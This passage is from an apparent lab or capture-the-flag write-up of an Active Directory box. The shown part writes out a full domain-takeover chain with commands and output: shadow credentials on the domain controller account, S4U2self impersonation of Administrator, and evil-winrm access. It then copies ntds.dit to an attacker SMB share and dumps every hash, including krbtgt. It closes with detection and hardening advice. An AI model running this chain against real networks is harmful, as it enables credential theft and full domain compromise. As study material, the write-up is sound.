&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-25&quot;&gt;SOAPy&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; &amp;#39;&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt;MILLENNIUM.CORP/sully@10.1.35.184&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt; -nt&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt; 7824282ac1df535de6726dac2b68556e&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-29&quot;&gt;  --shadow-creds&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt; add&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt; --shadow-target&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; &amp;#39;&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt;DC01$&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;#39; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-29&quot;&gt;  --cert-filename&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt; DC01.pfx&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt; --cert-password&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt; DC01&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[*] Searching for target account: DC01$&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[+] Target found: CN=DC01,OU=Domain Controllers,DC=MILLENNIUM,DC=CORP&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[*] Generating certificate...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[+] KeyCredential generated with DeviceID: b900bebe-b15d-2554-505c-a5af8d64afdb&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[*] Updating msDS-KeyCredentialLink attribute...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[*] Connecting to 10.1.35.184 for resource:Resource&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[+] Successfully updated msDS-KeyCredentialLink&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[+] Saved PFX certificate: DC01.pfx.pfx&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[+] PFX password: DC01&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;TGT and NT hash for DC01$, exactly as before:&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-25&quot;&gt;gettgtpkinit.py&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt; -cert-pfx&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt; DC01.pfx.pfx&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt; -pfx-pass&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; &amp;#39;&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt;DC01&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;#39; &amp;#39;&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt;MILLENNIUM.CORP/DC01$&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt; dc01.ccache&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;2026-11-08 11:12:58,645 minikerberos INFO     Loading certificate and key from file&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;2026-11-08 11:12:58,657 minikerberos INFO     Requesting TGT&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;2026-11-08 11:13:29,683 minikerberos INFO     AS-REP encryption key (you might need this later):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l z-hl&quot;&gt;&lt;span&gt;2026-11-08 11:13:29,683 minikerberos INFO     72dd1c081f0bdd9529b25a36a7a3910b3f7af85d4e30384c4d2eda16459bc14f&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;2026-11-08 11:13:29,685 minikerberos INFO     Saved TGT to file&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-25&quot;&gt;getnthash.py&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt; -key&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt; 72dd1c081f0bdd9529b25a36a7a3910b3f7af85d4e30384c4d2eda16459bc14f&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; &amp;#39;&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt;MILLENNIUM.CORP/dc01$&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[*] Using TGT from cache&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[*] Requesting ticket to self with PAC&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Recovered NT Hash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l z-hl&quot;&gt;&lt;span&gt;cb28b2c8072b3783d202acfeb38b644f&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&quot;why-remote-dcsync-is-dead&quot;&gt;&lt;a class=&quot;anchor&quot; href=&quot;#why-remote-dcsync-is-dead&quot; aria-label=&quot;Link to this section&quot;&gt;###&lt;/a&gt;why remote DCSync is dead&lt;/h3&gt;
&lt;p&gt;i own DC01$ now, so the obvious move is DCSync. but secretsdump kept dying:&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l z-hl&quot;&gt;&lt;span&gt;[-] &amp;#39;NoneType&amp;#39; object has no attribute &amp;#39;getRemoteHost&amp;#39;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Impacket&#39;s secretsdump sets up its remote operations over an SMB session on 445 before it ever touches DRSUAPI. 445 is filtered, the SMB connection comes back as &lt;code&gt;None&lt;/code&gt;, and the whole thing falls over on the first attribute access. so remote DCSync is out.&lt;/p&gt;
&lt;h3 id=&quot;s4u2self-to-administrator&quot;&gt;&lt;a class=&quot;anchor&quot; href=&quot;#s4u2self-to-administrator&quot; aria-label=&quot;Link to this section&quot;&gt;###&lt;/a&gt;S4U2self to Administrator&lt;/h3&gt;
&lt;p&gt;but i don&#39;t need remote DCSync. i own the DC&#39;s own machine account, so instead of pulling NTDS over the wire i can just get onto the box and copy it. WinRM (5985) is still open.&lt;/p&gt;
&lt;p&gt;But a machine account like DC01$ can&#39;t WinRM in, only a real user like Administrator can. that&#39;s where S4U2self comes in.
S4U2self lets an account request a service ticket to &lt;strong&gt;itself&lt;/strong&gt; on behalf of any user, no delegation config, no target password. so i ask the KDC for a ticket as Administrator to a service running as DC01$.
The &lt;code&gt;-altservice HTTP/DC01.MILLENNIUM.CORP&lt;/code&gt; rewrites the service name in that ticket, which is fine because the ticket is encrypted with DC01$&#39;s own key, the key i already hold. WinRM on DC01 validates against that same key and accepts it.&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-19 z-i&quot;&gt;export&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt; KRB5CCNAME&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;dc01&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;ccache&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-25&quot;&gt;impacket-getST&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt; -self -impersonate&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt; Administrator&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-29&quot;&gt;  -altservice&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; &amp;#39;&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt;HTTP/DC01.MILLENNIUM.CORP&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;#39; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-29&quot;&gt;  -k -no-pass -dc-ip&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt; 10.1.35.184&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; &amp;#39;&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt;MILLENNIUM.CORP/DC01$&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[*] Impersonating Administrator&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[*] Requesting S4U2self&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l z-hl&quot;&gt;&lt;span&gt;[*] Changing service from DC01$@MILLENNIUM.CORP to HTTP/DC01.MILLENNIUM.CORP@MILLENNIUM.CORP&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[*] Saving ticket in Administrator@HTTP_DC01.MILLENNIUM.CORP@MILLENNIUM.CORP.ccache&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-19 z-i&quot;&gt;export&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt; KRB5CCNAME&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;Administrator&lt;/span&gt;&lt;span&gt;@&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;HTTP_DC01&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;MILLENNIUM&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;CORP&lt;/span&gt;&lt;span&gt;@&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;MILLENNIUM&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;CORP&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;ccache&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&quot;dumping-ntds-dit&quot;&gt;&lt;a class=&quot;anchor&quot; href=&quot;#dumping-ntds-dit&quot; aria-label=&quot;Link to this section&quot;&gt;###&lt;/a&gt;dumping NTDS.dit&lt;/h3&gt;
&lt;p&gt;evil-winrm with that ticket drops me on the DC as Administrator:&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-25&quot;&gt;evil-winrm&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt; -i&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt; DC01.MILLENNIUM.CORP&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt; -r&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt; MILLENNIUM.CORP&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Evil-WinRM shell v4.1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Info: Establishing connection to remote endpoint&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Info: Connection successful&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;*Evil-WinRM* PS C:\Users\Administrator\Documents&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Confirm where the database lives:&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;powershell&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;reg query &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt;HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;quot; /&lt;/span&gt;&lt;span&gt;v &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt;DSA Database file&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    DSA Database file    REG_SZ    C:\Windows\NTDS\ntds.dit&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Start a local SMB server on kali to receive the files:&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-25&quot;&gt;impacket-smbserver&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt; -smb2support -username&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt; u&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt; -password&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt; p share .&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Mount it from the target:&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;powershell&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;net use \\&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;10.200&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;118.48&lt;/span&gt;&lt;span&gt;\share &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;/&lt;/span&gt;&lt;span&gt;USER:u p&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Use &lt;code&gt;ntdsutil&lt;/code&gt; IFM to snapshot a clean copy of &lt;code&gt;ntds.dit&lt;/code&gt; plus the registry hives (avoids the locked live file):&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;powershell&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ntdsutil &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt;activate instance ntds&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;quot; &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt;ifm&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;quot; &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt;create full C:\Windows\Temp\NTDS&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt; quit quit&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Snapshot set {4b2178de-3699-4490-a558-222260ae2d9a} generated successfully.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Initiating DEFRAGMENTATION mode...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;     Source Database: C:\$SNAP_202611081642_VOLUMEC$\Windows\NTDS\ntds.dit&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;     Target Database: C:\Windows\Temp\NTDS\Active Directory\ntds.dit&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Copying registry files...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Copying C:\Windows\Temp\NTDS\registry\SYSTEM&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Copying C:\Windows\Temp\NTDS\registry\SECURITY&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;IFM media created successfully in C:\Windows\Temp\NTDS&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;IFM already drops a SYSTEM hive next to the database, but grab a fresh one anyway for the bootkey:&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;powershell&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;reg save hklm\system system&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Exfil both files to the SMB share:&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;powershell&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;copy &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt;C:\Windows\Temp\NTDS\Active Directory\ntds.dit&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt; \\&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;10.200&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;118.48&lt;/span&gt;&lt;span&gt;\share&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;copy system \\&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;10.200&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;118.48&lt;/span&gt;&lt;span&gt;\share&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And dump it offline:&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-25&quot;&gt;impacket-secretsdump&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt; LOCAL&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt; -ntds&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt; ntds.dit&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt; -system&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt; system&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[*] Target system bootKey: 0xd47dad50d8f833994cb60e80f24afb62&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[*] Searching for pekList, be patient&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[*] PEK # 0 found and decrypted: c1f0243ae205440f233ee1f974ab5298&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[*] Reading and decrypting hashes from ntds.dit&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l z-hl&quot;&gt;&lt;span&gt;Administrator:500:aad3b435b51404eeaad3b435b51404ee:4366ec0f86e29be2a4a5e87a1ba922ec:::&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l z-hl&quot;&gt;&lt;span&gt;DC01$:1000:aad3b435b51404eeaad3b435b51404ee:cb28b2c8072b3783d202acfeb38b644f:::&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l z-hl&quot;&gt;&lt;span&gt;krbtgt:502:aad3b435b51404eeaad3b435b51404ee:5c72593d9552612093430f0b40d112bc:::&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;MILLENNIUM.CORP\tester:1105:aad3b435b51404eeaad3b435b51404ee:879aa860ba74fd41c5c05addd70a1a77:::&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;MILLENNIUM.CORP\ATHENA:1106:aad3b435b51404eeaad3b435b51404ee:ab3771ce4ec53c16e4feae2b331cb9fe:::&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;MILLENNIUM.CORP\Sully:1107:aad3b435b51404eeaad3b435b51404ee:7824282ac1df535de6726dac2b68556e:::&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The DC01$ hash matches what PKINIT recovered earlier, and the krbtgt hash is the real objective, that&#39;s full-domain persistence via golden tickets. done.&lt;/p&gt;
&lt;h2 id=&quot;what-could-millennium-corp-improve&quot;&gt;&lt;a class=&quot;anchor&quot; href=&quot;#what-could-millennium-corp-improve&quot; aria-label=&quot;Link to this section&quot;&gt;##&lt;/a&gt;What could Millennium Corp improve?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;fix the ACLs first, they&#39;re the root cause. Domain Users → GenericAll over SULLY and SULLY → GenericWrite over DC01$ are the real bugs.&lt;/li&gt;
&lt;li&gt;treat ADWS like LDAP. if you filter or monitor 389/636 for security, 9389 needs the same, otherwise you&#39;ve moved the front door, not locked it.&lt;/li&gt;
&lt;li&gt;audit &lt;code&gt;msDS-KeyCredentialLink&lt;/code&gt; writes. &lt;strong&gt;Event ID 5136&lt;/strong&gt; fires on the Key Credential modification and is the cleanest single detection for the shadow-creds step. Defender for Identity flags it too.&lt;/li&gt;
&lt;li&gt;watch ADWS reads with &lt;strong&gt;Event ID 4662&lt;/strong&gt; (drop the &lt;code&gt;S-1-5-18&lt;/code&gt; SYSTEM noise, AccessMask &lt;code&gt;0x10&lt;/code&gt;). low-fidelity on its own, but it pairs with 5136 to catch the SOAPy collection.&lt;/li&gt;
&lt;li&gt;ADCS being present is what makes PKINIT and shadow creds viable at all. a domain with no DC certs can&#39;t be hit this way, though that&#39;s rare. tier and monitor the CA.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The box is really about &lt;em&gt;why&lt;/em&gt; each tool fails, not that it failed. GetUserSPNs, certipy and secretsdump each died for a specific port reason: 445 for the hostname lookup, the read-only GC for the write, 445 again for secretsdump&#39;s setup. once you know which port a tool reaches for, you know what to swap out.&lt;/p&gt;
&lt;h2 id=&quot;appendix&quot;&gt;&lt;a class=&quot;anchor&quot; href=&quot;#appendix&quot; aria-label=&quot;Link to this section&quot;&gt;##&lt;/a&gt;Appendix&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener noreferrer external&quot; target=&quot;_blank&quot; href=&quot;https://github.com/logangoins/SOAPy&quot;&gt;SOAPy&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener noreferrer external&quot; target=&quot;_blank&quot; href=&quot;https://github.com/dirkjanm/PKINITtools&quot;&gt;PKINITtools&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener noreferrer external&quot; target=&quot;_blank&quot; href=&quot;https://github.com/coffeegist/bofhound&quot;&gt;BOFHound&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener noreferrer external&quot; target=&quot;_blank&quot; href=&quot;https://github.com/fortra/impacket&quot;&gt;Impacket&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener noreferrer external&quot; target=&quot;_blank&quot; href=&quot;https://github.com/Hackplayers/evil-winrm&quot;&gt;Evil-WinRM&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener noreferrer external&quot; target=&quot;_blank&quot; href=&quot;https://www.ibm.com/think/x-force/stealthy-enumeration-of-active-directory-environments-through-adws&quot;&gt;Stealthy Enumeration of Active Directory Environments through ADWS (IBM X-Force)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
        
    </entry>
</feed>
